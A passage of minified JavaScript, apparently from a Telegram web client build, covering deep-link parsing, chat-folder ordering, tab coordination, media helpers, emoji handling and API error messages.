"),i=t?r[0]:r[1],d=(t?r[1]:r[0]).toLowerCase(),c=s.findIndex((e=>e.startsWith(d)));return-1!==c&&Z(Number(i),c)?`${String(c+1).padStart(2,"0")}-${String(i).padStart(2,"0")}`:void 0}function B(e){return e+c/1e3}function O(e){return`${e[0].toLowerCase()}${e.slice(1)}`}function x(e){return`${e[0].toUpperCase()}${e.slice(1)}`}},30879:(e,t,n)=>{n.d(t,{$$:()=>i,FI:()=>a,aZ:()=>c,eP:()=>d});const o=["log","error","warn","info","debug"],r=o.reduce(((e,t)=>(e[t]=console[t],e)),{});let s=[];function a(e,...t){s.push({level:e,args:t,date:new Date}),r[e](...t)}function i(){s=[],o.forEach((e=>{console[e]=(...t)=>{a(e,...t)}}))}function d(){o.forEach((e=>{console[e]=r[e]})),s=[]}function c(){return JSON.stringify(s,((e,t)=>"bigint"==typeof t?t.toString():t))}},51190:(e,t,n)=>{n.d(t,{E:()=>i,I:()=>a});var o=n(83716),r=n(49160);const s=new Set(["t.me","telegram.me","telegram.dog"]);function a(e){return Boolean(e.match(o.FSu)||e.match(o.g$l))}function i(e){try{return(t=e).startsWith("https:")?function(e){if(!s.has(e.hostname))return;const t=p(e),n=m(e);switch(function(e,t){const n=t.length,o=t[0];if(1===n){if("share"===o)return"shareLink"}else if(2===n){if("addlist"===o)return"chatFolderLink";if("login"===o)return"loginCodeLink";if((0,r.js)(t[0])&&h(t[1]))return"publicMessageLink"}else if(3===n){if("c"===o&&t.slice(1).every(h))return"privateMessageLink";if((0,r.js)(t[0])&&t.slice(1).every(h))return"publicMessageLink"}else if(4===n&&"c"===o&&t.slice(1).every(h))return"privateMessageLink";return"unknown"}(0,n)){case"publicMessageLink":{const{single:e,comment:o,t:r,boost:s}=t,{username:a,thread:i,messageId:d}=2===n.length?{username:n[0],thread:t.thread,messageId:n[1]}:{username:n[0],thread:n[1],messageId:n[2]};return c({username:a,messageId:d,single:e,threadId:i,commentId:o,mediaTimestamp:r,boost:s})}case"privateMessageLink":{const{single:e,comment:o,t:r,boost:s}=t,{channelId:a,thread:i,messageId:d}=3===n.length?{channelId:n[1],thread:t.thread,messageId:n[2]}:{channelId:n[1],thread:n[2],messageId:n[3]};return u({channelId:a,messageId:d,single:e,threadId:i,commentId:o,mediaTimestamp:r,boost:s})}case"shareLink":return d({text:t.text,url:t.url});case"chatFolderLink":return l({slug:n[1]});case"loginCodeLink":return f({code:n[1]})}}(new URL(t)):t.startsWith("tg:")?function(e){const{hostname:t}=e,n=p(e);switch(m(e),function(e,t,n){switch(n){case"resolve":{const{domain:t,post:n,bot_id:o,scope:r,public_key:s,nonce:a}=e;if("telegrampassport"===t&&o&&r&&s&&a)return"telegramPassportLink";if(t&&n)return"publicMessageLink";break}case"privatepost":{const{channel:t,post:n}=e;if(t&&n)return"privateMessageLink";break}case"msg_url":return"shareLink";case"addlist":return"chatFolderLink";case"login":return"loginCodeLink";case"passport":return"telegramPassportLink"}return"unknown"}(n,0,t)){case"publicMessageLink":{const{domain:e,post:t,single:o,thread:r,comment:s,t:a,boost:i}=n;return c({username:e,messageId:t,single:o,threadId:r,commentId:s,mediaTimestamp:a,boost:i})}case"privateMessageLink":{const{channel:e,post:t,single:o,thread:r,comment:s,t:a,boost:i}=n;return u({channelId:e,messageId:t,single:o,threadId:r,commentId:s,mediaTimestamp:a,boost:i})}case"shareLink":return d({text:n.text,url:n.url});case"chatFolderLink":return l({slug:n.slug});case"loginCodeLink":return f({code:n.code});case"telegramPassportLink":return function(e){const{botId:t,scope:n,publicKey:o,nonce:r,callbackUrl:s,payload:a}=e;if(t&&h(t)&&n&&o&&r)return{type:"telegramPassportLink",botId:Number(t),scope:n,publicKey:o,nonce:r,callbackUrl:s,payload:a}}({botId:n.bot_id,scope:n.scope,publicKey:n.public_key,nonce:n.nonce,callbackUrl:n.callback_url,payload:n.payload})}}(new URL(t.replace(/^tg:/,"http:"))):void 0}catch(e){return}var t}function d(e){const{url:t,text:n}=e;if(t)return{type:"shareLink",url:t,text:n}}function c(e){const{messageId:t,threadId:n,commentId:o,username:s,single:a,mediaTimestamp:i,boost:d}=e;if(s&&(0,r.js)(s)&&t&&h(t)&&(!n||h(n))&&(!o||h(o)))return{type:"publicMessageLink",username:s,messageId:Number(t),isSingle:""===a,threadId:n?Number(n):void 0,commentId:o?Number(o):void 0,mediaTimestamp:i,isBoost:""===d}}function u(e){const{messageId:t,threadId:n,commentId:o,channelId:r,single:s,mediaTimestamp:a,boost:i}=e;if(r&&h(r)&&t&&h(t)&&(!n||h(n))&&(!o||h(o)))return{type:"privateMessageLink",channelId:r,messageId:Number(t),isSingle:""===s,threadId:n?Number(n):void 0,commentId:o?Number(o):void 0,mediaTimestamp:a,isBoost:""===i}}function l(e){const{slug:t}=e;if(t)return{type:"chatFolderLink",slug:t}}function f(e){const{code:t}=e;if(t)return{type:"loginCodeLink",code:t}}function h(e){return/^-?\d+$/.test(e)}function m(e){return e.pathname.split("/").filter(Boolean).map(decodeURI)}function p(e){return Object.fromEntries(e.searchParams)}},53551:(e,t,n)=>{n.d(t,{GX:()=>c,QH:()=>u,ou:()=>d});var o=n(33555),r=n(83716),s=n(4463),a=n(51190),i=n(97184);const d=e=>{const t=(0,o.Sv)(),n=(0,a.E)(e);if(n&&"privateMessageLink"===n.type)return function(e,t){const{focusMessage:n,processBoostParameters:o}=t,{isBoost:r,channelId:a,messageId:i,threadId:d}=e;r?o({usernameOrId:a,isPrivate:!0}):n({chatId:(0,s.Yg)(a),threadId:d,messageId:i})}(n,t),!0;const{protocol:r,searchParams:d,pathname:l,hostname:f}=new URL(e);if("tg:"!==r)return!1;const h=(i.s$?f:l).replace(/^\/\//,""),m=Object.fromEntries(d),{openChatByInvite:p,openChatByUsername:g,openChatByPhoneNumber:y,openStickerSet:b,joinVoiceChatByLink:v,openInvoice:w,processAttachBotParameters:I,openChatWithDraft:C,checkChatlistInvite:S,openStoryViewerByUsername:E,processBoostParameters:P,checkGiftCode:k}=t;switch(h){case"resolve":{const{domain:e,phone:t,post:n,comment:o,voicechat:r,livestream:s,start:a,startattach:i,attach:d,thread:u,topic:l,appname:f,startapp:h,story:p}=m,b=m.hasOwnProperty("startattach"),w=m.hasOwnProperty("startapp"),C=m.hasOwnProperty("boost"),S=c(m.choose),k=Number(u)||Number(l)||void 0;"telegrampassport"!==e&&(f?g({username:e,startApp:h,originalParts:[e,f]}):b&&S||!f&&w?I({username:e,filter:S,startParam:i||h}):m.hasOwnProperty("voicechat")||m.hasOwnProperty("livestream")?v({username:e,inviteHash:r||s}):C?P({usernameOrId:e}):t?y({phoneNumber:t,startAttach:i,attach:d}):p?E({username:e,storyId:Number(p)}):g({username:e,messageId:n?Number(n):void 0,commentId:o?Number(o):void 0,startParam:a,startAttach:i,attach:d,threadId:k}));break}case"bg":case"login":break;case"join":{const{invite:e}=m;p({hash:e});break}case"addemoji":case"addstickers":{const{set:e}=m;b({stickerSetInfo:{shortName:e}});break}case"share":case"msg":case"msg_url":{const{url:e,text:t}=m;C({text:u(e,t)});break}case"addlist":S({slug:m.slug});break;case"invoice":{const{slug:e}=m;w({slug:e});break}case"boost":{const{channel:e,domain:t}=m;P({usernameOrId:e||t,isPrivate:Boolean(e)});break}case"giftcode":{const{slug:e}=m;k({slug:e});break}default:return!1}return!0};function c(e){if(e)return e.toLowerCase().split(" ").filter((e=>r.F9z.includes(e)))}function u(e,t,n){return[e,n,t].filter(Boolean).join("\n")}},34284:(e,t,n)=>{n.d(t,{DW:()=>h,NM:()=>m,Uz:()=>u,Wg:()=>p,g6:()=>f,mE:()=>l});var o=n(57710),r=n(33681),s=n(15155);const a=["female_sign","male_sign","medical_symbol"],i=127397,d=[[/\u{1f3f3}\u200d\u{1f308}/gu,"🏳️‍🌈"],[/\u{1f3f3}\u200d\u26a7\ufe0f/gu,"🏳️‍⚧️"],[/\u{1f937}\u200d\u2642[^\ufe0f]/gu,"🤷‍♂️"]];function c(e){const t=e.split("-").map((e=>parseInt(e,16)));return String.fromCodePoint(...t)}const u=new Set;function l(e){const t=e.currentTarget;u.add(e.currentTarget.dataset.path),(0,o.WM)((()=>{t.classList.add("open")}))}function f(e){if(!e.match(r.Z))return e;for(const[t,n]of d)e=e.replace(t,n);return e}const h=(0,s.Z)((function(e){return function(e){let t;if(1===e.length)t=e.charCodeAt(0).toString(16).padStart(4,"0");else{const n=[];for(let t=0;t<e.length;t++)e.charCodeAt(t)>=55296&&e.charCodeAt(t)<=56319?e.charCodeAt(t+1)>=56320&&e.charCodeAt(t+1)<=57343&&n.push(1024*(e.charCodeAt(t)-55296)+(e.charCodeAt(t+1)-56320)+65536):(e.charCodeAt(t)<55296||e.charCodeAt(t)>57343)&&n.push(e.charCodeAt(t));t=n.map((e=>e.toString(16).padStart(4,"0"))).join("-")}return t}((0,r.l)(e))}));function m(e){const t={categories:[],emojis:{}};for(let n=0;n<e.length;n+=2){const o={id:e[n][0],name:e[n][1],emojis:[]};for(let r=0;r<e[n+1].length;r++){const s=e[n+1][r];a.includes(s[1][0])||(o.emojis.push(s[1][0]),t.emojis[s[1][0]]={id:s[1][0],names:s[1],native:c(s[0]),image:s[0].toLowerCase()})}t.categories.push(o)}return t}function p(e){if("FT"===e)return"🏴‍☠️";const t=e.toUpperCase();if(!/^[A-Z]{2}$/.test(t))return e;const n=[...t].map((e=>e.codePointAt(0)+i));return String.fromCodePoint(...n)}},81396:(e,t,n)=>{n.d(t,{X:()=>s});const o=new Set(["http:","https:","tg:","ton:","mailto:","tel:"]),r="https://";function s(e){if(e)try{const t=new URL(e);return o.has(t.protocol)?e:`${r}${e}`}catch(t){return`${r}${e}`}}},65054:(e,t,n)=>{n.d(t,{AG:()=>k,Pz:()=>T,Y9:()=>M,Z6:()=>C,_w:()=>S,g:()=>P,l:()=>w,s1:()=>E});var o=n(83716),r=n(16063),s=n(95281),a=n(97184);const i=100,{addCallback:d,runCallbacks:c}=(0,r._)(),{addCallback:u,runCallbacks:l}=(0,r._)(),f=Number(Math.random().toString().substring(2)),h=new Set([f]);let m,p,g=a.Eo?new BroadcastChannel(o.avG):void 0,y=!1,b=!1;const v=({data:e})=>{if(g&&e){if(e.currentPasscodeHash&&(0,s.xV)(e.currentPasscodeHash),e.hasGaveUpMaster&&b)return m=f,b=!1,void c(!0);if(e.shouldGiveUpMaster)return m===f&&(c(!1),g.postMessage({currentPasscodeHash:(0,s.FB)(),hasGaveUpMaster:!0})),void(m=e.masterToken);if(e.tokenDied&&(l(e.tokenDied),h.delete(e.tokenDied),e.tokenDied===m&&(h.delete(e.tokenDied),m=void 0,y=!1,p=e.tokenDied,g.postMessage({collectedTokens:h,masterToken:m,reestablishToken:p}),1===h.size&&(y=!0,m=f,p=void 0,c(!0)))),e.collectedTokens){if(!e.reestablishToken&&p)return;e.reestablishToken&&p!==e.reestablishToken&&(e.collectedTokens.delete(e.reestablishToken),p=e.reestablishToken);const t=h.size;e.collectedTokens.forEach((e=>h.add(e))),p&&e.collectedTokens.delete(p),y?e.masterToken||g.postMessage({collectedTokens:h,masterToken:m,reestablishToken:p}):e.masterToken?(p=void 0,m=e.masterToken,c(m===f),y||g.postMessage({collectedTokens:h,masterToken:m,reestablishToken:p}),y=!0):t!==h.size?g.postMessage({collectedTokens:h,masterToken:m,reestablishToken:p}):(p=void 0,m=Math.max(...Array.from(h)),c(m===f),y||g.postMessage({collectedTokens:h,masterToken:m,reestablishToken:p}),y=!0)}}};function w(){g&&(g.addEventListener("message",v),g.postMessage({collectedTokens:h}),setTimeout((()=>{void 0===m&&(m=f,c(!0))}),i),window.addEventListener("beforeunload",I))}function I(){g&&(l(f),g.removeEventListener("message",v),g.postMessage({tokenDied:f,currentPasscodeHash:(0,s.FB)()}),g.close(),g=void 0)}function C(){g&&g.postMessage({currentPasscodeHash:(0,s.FB)()})}function S(){return f}function E(){return Array.from(h)}function P(){g&&(b=!0,g.postMessage({collectedTokens:h,masterToken:f,shouldGiveUpMaster:!0}))}const k=u,T=d;function M(){return m===f}},71394:(e,t,n)=>{n.d(t,{YJ:()=>s,ao:()=>l,gm:()=>u,hl:()=>a,jj:()=>d,ox:()=>f,pt:()=>i,ud:()=>c}),n(83716);var o=n(69118);function r(e,t,n){var o;return(t="symbol"==typeof(o=function(e,t){if("object"!=typeof e||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!=typeof o)return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(t))?o:String(o))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function s(e){return new Promise(((t,n)=>{const o=new FileReader;o.onload=e=>{const{result:o}=e.target||{};"string"==typeof o&&t(o),n(new Error("Failed to read blob"))},o.onerror=n,o.readAsDataURL(e)}))}function a(e,t){return new File([e],t,{lastModified:Date.now(),type:e.type})}function i(e){return new Promise(((t,n)=>{const o=new Image;o.onload=()=>t(o),o.onerror=n,o.src=e}))}function d(e){return new Promise(((t,n)=>{const o=document.createElement("video");o.volume=0,o.onloadedmetadata=()=>t(o),o.onerror=n,o.src=e}))}async function c(e){try{const t=await d(e);return await Promise.race([(0,o.wO)(2e3),new Promise(((e,n)=>{t.onseeked=()=>{t.videoWidth&&t.videoHeight||e(void 0);const n=document.createElement("canvas");n.width=t.videoWidth,n.height=t.videoHeight,n.getContext("2d").drawImage(t,0,0),n.toBlob((t=>{e(t?URL.createObjectURL(t):void 0)}))},t.onerror=n,t.currentTime=Math.min(t.duration,1)}))])}catch(e){return}}async function u(e){return(await fetch(e)).blob()}function l(e){const t=document.createElement("canvas");return t.width=e.width,t.height=e.height,t.getContext("2d").drawImage(e,0,0),t}function f(e){if(e?.length)return Array.from(e).map(h).filter((e=>e.size))}function h(e){const t=e.name.split(".").pop();return e.type||"mov"!==t.toLowerCase()?e:new File([e],e.name,{type:"video/quicktime"})}"undefined"==typeof File&&(self.File=class extends Blob{constructor(e,t,n){if(n){const{type:t,...o}=n;super(e,{type:t}),r(this,"name",void 0),Object.assign(this,o)}else super(e),r(this,"name",void 0);this.name=t}})},16974:(e,t,n)=>{n.d(t,{M2:()=>T,O6:()=>A,S1:()=>w,Yz:()=>S,aE:()=>C,gO:()=>I,jK:()=>k,r_:()=>M,wC:()=>E,xW:()=>P});var o=n(65116),r=n(33555),s=n(83716),a=n(4463),i=n(7054),d=n(275),c=n(16063),u=n(60782),l=n(69118);const f=6,h=B();let m=h.prevGlobal,p=h.prepared,g=h.results,y=h.callbacks;s.eMD&&(window.DEBUG_getFolderManager=()=>({prepared:p,results:g}));const b=(0,l.P2)((()=>{(0,l.Q8)((()=>{L((0,r.Rd)())}))}),500);let v=!1;function w(){v=!0,(0,o.ll)(b),(0,r.iw)("reset",O);const e=(0,r.Rd)();(0,i.jUK)(e).isMasterTab||R(e,!0,!0,!0),L(e)}function I(e){return v||w(),g.orderedIdsByFolderId[e]}function C(e){return v||w(),g.pinnedCountByFolderId[e]||0}function S(){return v||w(),g.chatsCountByFolderId}function E(){return v||w(),g.unreadCountersByFolderId}function P(){return E()[s.NfV]?.notificationsCount||0}function k(e){return p.chatSummariesById.get(e).order}function T(e,t){return y.orderedIdsByFolderId[e]||(y.orderedIdsByFolderId[e]=(0,c._)()),y.orderedIdsByFolderId[e].addCallback(t)}function M(e){return y.chatsCountByFolderId.addCallback(e)}function A(e){return y.unreadCountersByFolderId.addCallback(e)}function L(e){let t;s.eMD&&(t=performance.now());const n=Boolean(e.chats.listIds.active&&N(s.NfV,e.chats.listIds.active,e.chats.orderedPinnedIds.active)),o=Boolean(e.chats.listIds.archived&&N(s.WSp,e.chats.listIds.archived,e.chats.orderedPinnedIds.archived)),r=e.chats.isFullyLoaded.active!==m.isAllFolderFullyLoaded,c=e.chats.isFullyLoaded.archived!==m.isArchivedFolderFullyLoaded,l=e.chatFolders.byId!==m.foldersById,h=e.chats.byId!==m.chatsById,y=e.users.byId!==m.usersById,b=(0,i.dZI)(e)!==m.notifySettings,v=(0,i.NJL)(e)!==m.notifyExceptions;let w=[];if((r||c)&&(w=w.concat(function(e,t=!1){let n=[];t&&n.push(s.WSp);const o=e.chats.isFullyLoaded.active,r=e.chats.isFullyLoaded.archived;if(o&&r){const e=Object.keys(p.folderSummariesById).filter((e=>!g.orderedIdsByFolderId[e])).map(Number);n=n.concat(e)}return m.isAllFolderFullyLoaded=o,m.isArchivedFolderFullyLoaded=r,n}(e,c))),!(n||o||l||h||y||b||v))return void(w.length&&D(w));const I=m.allFolderListIds,C=m.archivedFolderListIds;if(R(e,n,o,l),w=w.concat(function(e,t,n,o,r,c){const l=e.chats.byId,f=e.users.byId,h=(0,i.dZI)(e),y=(0,i.NJL)(e),b=Object.values(p.folderSummariesById),v=new Set,w=e.chats.listIds.active,I=e.chats.listIds.archived,C=[...w||[],...I||[]];let S=C;return w===r&&I===c||(S=(0,u.Tw)(S.concat(r||[],c||[]))),S.forEach((e=>{const r=l[e];if(!t&&!n&&!o&&r===m.chatsById[e]&&f[e]===m.usersById[e])return;let i;if(r){const n=p.chatSummariesById.get(e),o=!C.includes(e),c=function(e,t,n,o,r){const{id:i,type:d,lastMessage:c,isRestricted:u,isNotJoined:l,migratedTo:f,folderId:h,unreadCount:m,unreadMentionsCount:p,hasUnreadMark:g,creationDate:y,draftDate:b,isForum:v,topics:w}=e,{unreadCount:I,unreadMentionsCount:C}=v?Object.values(w||{}).reduce(((e,t)=>(e.unreadCount+=t.unreadCount,e.unreadMentionsCount+=t.unreadMentionsCount,e)),{unreadCount:0,unreadMentionsCount:0}):{unreadCount:m,unreadMentionsCount:p},S="chatTypePrivate"===d&&o,E=e.id===s.awM&&(!e.lastMessage||"historyClear"===e.lastMessage.content.action?.type);return{id:i,type:d,isListed:Boolean(!(u||l||f||E||r)),isArchived:h===s.WSp,isMuted:(0,a.i4)(e,t,n),isUnread:Boolean(I||C||g),unreadCount:I,unreadMentionsCount:C,order:Math.max(y||0,b||0,c?.date||0),isUserBot:S?"userTypeBot"===S.type:void 0,isUserContact:S?S.isContact:void 0}}(r,h,y,f[e],o);if(!t&&n&&(0,d.Z)(c,n))return;p.chatSummariesById.set(e,c),i=function(e,t){return t.reduce(((t,n)=>(function(e,t){if(!e.isListed)return!1;const{id:n,type:o}=e;if(t.listIds)return!(e.isArchived&&t.id===s.NfV||!e.isArchived&&t.id===s.WSp)&&t.listIds.has(n);if(t.excludedChatIds?.has(n))return!1;if(t.includedChatIds?.has(n))return!0;if(t.pinnedChatIds?.has(n))return!0;if(t.excludeArchived&&e.isArchived)return!1;if(t.excludeRead&&!e.isUnread)return!1;if(t.excludeMuted&&e.isMuted&&!e.unreadMentionsCount)return!1;if("chatTypePrivate"===o)if(e.isUserBot){if(t.bots)return!0}else{if(t.contacts&&e.isUserContact)return!0;if(t.nonContacts&&!e.isUserContact)return!0}else{if("chatTypeChannel"===o)return Boolean(t.channels);if("chatTypeBasicGroup"===o||"chatTypeSuperGroup"===o)return Boolean(t.groups)}return!1}(e,n)&&t.push(n.id),t)),[]).sort()}(c,b),i.forEach((e=>{v.add(e)}))}else p.chatSummariesById.delete(e),i=[];const c=p.folderIdsByChatId[e]||[];if((0,u.et)(i,c))return;const w=function(e,t,n){const o=new Set(t),r=new Set(n),s=[];return(0,u.Tw)([...t,...n]).forEach((t=>{let n=g.orderedIdsByFolderId[t];o.has(t)&&!r.has(t)?(p.chatIdsByFolderId[t].delete(e),s.push(t),n&&(n=n.filter((t=>t!==e)),p.isOrderedListJustPatched[t]=!0)):!o.has(t)&&r.has(t)&&(p.chatIdsByFolderId[t]||(p.chatIdsByFolderId[t]=new Set),p.chatIdsByFolderId[t].add(e),n&&(n.push(e),p.isOrderedListJustPatched[t]=!0)),g.orderedIdsByFolderId[t]=n})),p.folderIdsByChatId[e]=n,s}(e,c,i);w.forEach((e=>{v.add(e)}))})),m.chatsById=l,m.usersById=f,m.notifySettings=h,m.notifyExceptions=y,Array.from(v)}(e,l||n||o,b,v,I,C)),D((0,u.Tw)(w)),s.eMD){const e=performance.now()-t;e>f&&console.warn(`Slow \`updateFolderManager\`: ${Math.round(e)} ms`)}}function N(e,t,n){const o=e===s.NfV?m.allFolderListIds:m.archivedFolderListIds,r=e===s.NfV?m.allFolderPinnedIds:m.archivedFolderPinnedIds;return o!==t||r!==n}function R(e,t,n,o){const r=[];if(t){const t=e.chats.listIds.active,n=e.chats.orderedPinnedIds.active;p.folderSummariesById[s.NfV]=Z(s.NfV,t,n),m.allFolderListIds=t,m.allFolderPinnedIds=n,r.push(s.NfV)}if(n){const t=e.chats.listIds.archived,n=e.chats.orderedPinnedIds.archived;p.folderSummariesById[s.WSp]=Z(s.WSp,t,n),m.archivedFolderListIds=t,m.archivedFolderPinnedIds=n,r.push(s.WSp)}if(o){const t=e.chatFolders.byId;Object.values(t).forEach((e=>{e!==m.foldersById[e.id]&&(p.folderSummariesById[e.id]=function(e){return{...e,orderedPinnedIds:e.pinnedChatIds,excludedChatIds:e.excludedChatIds?new Set(e.excludedChatIds):void 0,includedChatIds:e.excludedChatIds?new Set(e.includedChatIds):void 0,pinnedChatIds:e.excludedChatIds?new Set(e.pinnedChatIds):void 0}}(e),r.push(e.id))})),m.foldersById=t}return r}function Z(e,t,n){return{id:e,listIds:new Set(t),orderedPinnedIds:n,pinnedChatIds:new Set(n)}}function D(e){let t=!1,n=!1;if(Array.from(e).forEach((e=>{const{pinnedCount:o,orderedIds:r}=function(e){const t=p.folderSummariesById[e];if(!t)return{};const{orderedPinnedIds:n,pinnedChatIds:o}=t,{chatSummariesById:r,chatIdsByFolderId:{[e]:s}}=p,{orderedIdsByFolderId:{[e]:a}}=g,i=s?n?.filter((e=>s.has(e))):n,d=a||s&&Array.from(s)||[],c=(o?d.filter((e=>!o.has(e))):d).sort(((e,t)=>r.get(t).order-r.get(e).order));return{pinnedCount:i?.length||0,orderedIds:[...i||[],...c]}}(e);if(!r)return;const s=g.orderedIdsByFolderId[e],a=g.pinnedCountByFolderId[e];(!s||void 0===a||a!==o||p.isOrderedListJustPatched[e]||!(0,u.et)(r,s))&&(p.isOrderedListJustPatched[e]=!1,g.orderedIdsByFolderId[e]=r,g.pinnedCountByFolderId[e]=o,y.orderedIdsByFolderId[e]?.runCallbacks(r));const i=g.chatsCountByFolderId[e],c=r.length;n||(n=i!==c),g.chatsCountByFolderId[e]=c;const l=g.unreadCountersByFolderId[e],f=function(e){const{chatSummariesById:t}=p,{orderedIdsByFolderId:{[e]:n}}=g;return n.reduce(((e,n)=>{const o=t.get(n);return o?(o.isUnread&&(e.chatsCount++,o.unreadMentionsCount&&(e.notificationsCount+=o.unreadMentionsCount),o.isMuted||(o.unreadCount?e.notificationsCount+=o.unreadCount:o.unreadMentionsCount||(e.notificationsCount+=1))),e):e}),{chatsCount:0,notificationsCount:0})}(e);t||(t=!l||!(0,d.Z)(f,l)),g.unreadCountersByFolderId[e]=f})),n){const e={...g.chatsCountByFolderId};g.chatsCountByFolderId=e,y.chatsCountByFolderId.runCallbacks(e)}if(t){const e={...g.unreadCountersByFolderId};g.unreadCountersByFolderId=e,y.unreadCountersByFolderId.runCallbacks(e)}}function B(){return{prevGlobal:{foldersById:{},chatsById:{},usersById:{},notifySettings:{},notifyExceptions:{}},prepared:{folderSummariesById:{},chatSummariesById:new Map,folderIdsByChatId:{},chatIdsByFolderId:{},isOrderedListJustPatched:{}},results:{orderedIdsByFolderId:{},pinnedCountByFolderId:{},chatsCountByFolderId:{},unreadCountersByFolderId:{}},callbacks:{orderedIdsByFolderId:{},chatsCountByFolderId:(0,c._)(),unreadCountersByFolderId:(0,c._)()}}}function O(){const e=B();m=e.prevGlobal,p=e.prepared,g=e.results,y=e.callbacks}},82972:(e,t,n)=>{function o(e){e.offsetWidth}n.d(t,{Z:()=>o})},9937:(e,t,n)=>{function o(e,t,n="en",o=!1){const r=e/10**function(e){return"CLF"===e?4:["BHD","IQD","JOD","KWD","LYD","OMR","TND"].includes(e)?3:["BIF","BYR","CLP","CVE","DJF","GNF","ISK","JPY","KMF","KRW","MGA","PYG","RWF","UGX","UYI","VND","VUV","XAF","XOF","XPF"].includes(e)?0:"MRO"===e?1:2}(t);return o&&r%1==0?new Intl.NumberFormat(n,{style:"currency",currency:t,minimumFractionDigits:0,maximumFractionDigits:0}).format(r):new Intl.NumberFormat(n,{style:"currency",currency:t}).format(r)}n.d(t,{x:()=>o})},98138:(e,t,n)=>{n.d(t,{gZ:()=>f,fB:()=>u,gL:()=>l});const o=n.p+"blue.7addb55a171bbda244ac.svg",r=n.p+"green.19008e11c98b08550285.svg";var s=n(17017);const a=n.p+"red.1ab26ec752237fc45355.svg",i=n.p+"rose.6dd2db47d5e1fb9bdb9d.svg",d=n.p+"violet.7c7f825ebb51cf3084e3.svg",c={7322096:[o,"blue"],16766590:[n.p+"yellow.40f6b4865f20f3e6a1ab.svg","yellow"],13338331:[d,"violet"],9367192:[r,"green"],16749490:[i,"rose"],16478047:[a,"red"]};function u(){return Object.keys(c).map((e=>parseInt(e,10)))}function l(e){return e&&c[e][0]||s}function f(e){return`--color-topic-${e&&c[e][1]||"grey"}`}},69995:(e,t,n)=>{function o(){return Date.now().toString(36)+Math.random().toString(36).slice(2)}n.d(t,{Z:()=>o})},91947:(e,t,n)=>{n.d(t,{J_:()=>d,ZP:()=>i,pF:()=>c});var o=n(83716);const r={CHAT_RESTRICTED:"You can't send messages in this chat, you were restricted",CHAT_SEND_POLL_FORBIDDEN:"You can't create polls in this chat",CHAT_SEND_STICKERS_FORBIDDEN:"You can't send stickers in this chat",CHAT_SEND_GIFS_FORBIDDEN:"You can't send gifs in this chat",CHAT_SEND_MEDIA_FORBIDDEN:"You can't send media in this chat",CHAT_LINK_EXISTS:"The chat is public, you can't hide the history to new users",SLOWMODE_WAIT_X:"Slowmode is enabled in this chat: you must wait for the specified number of seconds before sending another message to the chat.",USER_BANNED_IN_CHANNEL:"You're banned from sending messages in supergroups / channels",USER_IS_BLOCKED:"You were blocked by this user",YOU_BLOCKED_USER:"You blocked this user",IMAGE_PROCESS_FAILED:"Failure while processing image",MEDIA_EMPTY:"The provided media object is invalid",MEDIA_INVALID:"Media invalid",PHOTO_EXT_INVALID:"The extension of the photo is invalid",PHOTO_INVALID_DIMENSIONS:"The photo dimensions are invalid",PHOTO_SAVE_FILE_INVALID:"Internal issues, try again later",MESSAGE_DELETE_FORBIDDEN:"You can't delete one of the messages you tried to delete, most likely because it is a service message.",MESSAGE_POLL_CLOSED:"Poll closed",MESSAGE_EDIT_TIME_EXPIRED:"You can't edit this message anymore.",PINNED_DIALOGS_TOO_MUCH:"Sorry, you can only pin 5 chats to the top",CHANNEL_PRIVATE:"This channel is private",MEDIA_CAPTION_TOO_LONG:"The provided caption is too long",ADDRESS_STREET_LINE1_INVALID:"The address you provided is not valid",ADDRESS_STREET_LINE2_INVALID:"The address you provided is not valid",ADDRESS_CITY_INVALID:"The city you provided is not valid",ADDRESS_COUNTRY_INVALID:"The country you provided is not valid",ADDRESS_POSTCODE_INVALID:"The postcode you provided is not valid",ADDRESS_STATE_INVALID:"The state you provided is not valid",REQ_INFO_NAME_INVALID:"The name you provided is not valid",REQ_INFO_PHONE_INVALID:"The phone you provided is not valid",REQ_INFO_EMAIL_INVALID:"The email you provided is not valid",LINK_NOT_MODIFIED:"This discussion is already linked to the channel",MESSAGE_TOO_LONG:"Message is too long",SERVICE_WORKER_DISABLED:"Service Worker is disabled. Streaming media may not be supported. Try reloading the page without holding <Shift> key",MESSAGE_TOO_LONG_PLEASE_REMOVE_CHARACTERS:"The provided message is too long. Please remove {EXTRA_CHARS_COUNT} character{PLURAL_S}.",FRESH_RESET_AUTHORISATION_FORBIDDEN:"You can’t logout other sessions if less than 24 hours have passed since you logged on the current session",BOTS_TOO_MUCH:"There are too many bots in this chat/channel",BOT_GROUPS_BLOCKED:"This bot can't be added to groups",USERS_TOO_MUCH:"The maximum number of users has been exceeded",USER_CHANNELS_TOO_MUCH:"One of the users you tried to add is already in too many channels/supergroups",USER_KICKED:"This user was kicked from this supergroup/channel",USER_NOT_MUTUAL_CONTACT:"The provided user is not a mutual contact",USER_PRIVACY_RESTRICTED:"The user's privacy settings do not allow you to do this",INVITE_HASH_EMPTY:"The invite hash is empty",INVITE_HASH_EXPIRED:"The invite link has expired",INVITE_HASH_INVALID:"The invite hash is invalid",CHANNELS_TOO_MUCH:"You have joined too many channels/supergroups",USER_ALREADY_PARTICIPANT:"You already in the group",SCHEDULE_DATE_INVALID:"Invalid schedule date provided",WALLPAPER_DIMENSIONS_INVALID:"The wallpaper dimensions are invalid, please select another file",ADMINS_TOO_MUCH:"There are too many admins",ADMIN_RANK_EMOJI_NOT_ALLOWED:"An admin rank cannot contain emojis",ADMIN_RANK_INVALID:"The specified admin rank is invalid",FRESH_CHANGE_ADMINS_FORBIDDEN:"You were just elected admin, you can't add or modify other admins yet",INPUT_USER_DEACTIVATED:"The specified user was deleted",BOT_PRECHECKOUT_TIMEOUT:"The request for payment has expired",PEERS_LIST_EMPTY:"No chats are added to the list"};o.eMD&&(r.CHAT_WRITE_FORBIDDEN="You can't write in this chat",r.CHAT_ADMIN_REQUIRED="You must be an admin in this chat to do this");const s={ADDRESS_STREET_LINE1_INVALID:{field:"streetLine1",message:"Incorrect street address"},ADDRESS_STREET_LINE2_INVALID:{field:"streetLine2",message:"Incorrect street address"},ADDRESS_CITY_INVALID:{field:"city",message:"Incorrect city"},ADDRESS_COUNTRY_INVALID:{field:"countryIso2",message:"Incorrect country"},ADDRESS_POSTCODE_INVALID:{field:"postCode",message:"Incorrect post code"},ADDRESS_STATE_INVALID:{field:"state",message:"Incorrect 